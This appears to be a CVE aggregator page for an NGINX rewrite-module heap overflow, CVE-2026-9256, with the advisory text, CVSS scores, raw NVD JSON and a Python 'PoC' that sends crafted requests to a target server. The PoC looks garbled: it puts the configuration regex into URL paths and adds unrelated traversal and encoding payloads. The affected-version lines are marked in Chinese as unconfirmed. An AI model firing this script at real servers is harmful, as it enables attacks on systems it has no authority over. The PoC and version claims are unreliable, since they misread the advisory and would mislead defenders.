Security Vulnerability Report
中文
CVE-2026-9256 CVSS 8.1 HIGH

CVE-2026-9256

Published: 2026-05-22 15:16:27
Last Modified: 2026-05-23 01:16:25

Description

NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when a rewrite directive uses a regex pattern with distinct, overlapping Perl-Compatible Regular Expression (PCRE) captures (for example, ^/((.*))$) and a replacement string that references multiple such captures (for example, $1$2) in a redirect or arguments context. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NGINX Open Source < 1.26.0 (需确认具体修复版本)
NGINX Plus < R31 (需确认具体修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-9256 PoC - NGINX ngx_http_rewrite_module Heap Buffer Overflow # Target: NGINX servers with vulnerable rewrite configurations # Condition: rewrite directive with overlapping PCRE captures and multiple group references def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-9256 Requires NGINX config like: rewrite ^/((.*))$ /redirect?arg=$1$2 redirect; """ # Malicious payload that triggers overlapping capture group processing # The pattern ^/((.*))$ creates overlapping captures # Reference to $1$2 in replacement causes heap overflow vulnerable_paths = [ '/((.*))$', # Trigger rewrite with overlapping captures '/test/../../../((.*))$', # Path traversal with captures ] headers = { 'User-Agent': 'CVE-2026-9256-PoC-Tester', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") for path in vulnerable_paths: try: full_url = target_url.rstrip('/') + path print(f"[*] Sending payload: {path}") # Send crafted request response = requests.get( full_url, headers=headers, timeout=10, allow_redirects=False # Don't follow redirects ) # Check for indicators of successful exploitation if response.status_code in [500, 502, 503]: print(f"[!] Potential heap overflow detected - Status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") continue print("[*] No obvious vulnerability indicators detected") return False def exploit_nginx(target_url): """ Attempt exploitation of CVE-2026-9256 This PoC triggers the heap buffer overflow condition """ # Crafted request with specific pattern to trigger overflow exploit_payloads = [ 'A' * 1000 + '/((.*))$', # Long string with capture '/%c0%a0((.*))$', # Unicode bypass attempt ] for payload in exploit_payloads: try: url = target_url.rstrip('/') + payload print(f"[*] Sending exploit payload...") requests.get(url, timeout=5, verify=False) except Exception as e: print(f"[*] Exploit attempt completed: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-9256-poc.py <target_url>") print("Example: python cve-2026-9256-poc.py http://vulnerable-nginx-server.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9256", "sourceIdentifier": "[email protected]", "published": "2026-05-22T15:16:27.073", "lastModified": "2026-05-23T01:16:25.403", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when a rewrite directive uses a regex pattern with distinct, overlapping Perl-Compatible Regular Expression (PCRE) captures (for example, ^/((.*))$) and a replacement string that references multiple such captures (for example, $1$2) in a redirect or arguments context. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161377", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/22/14", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}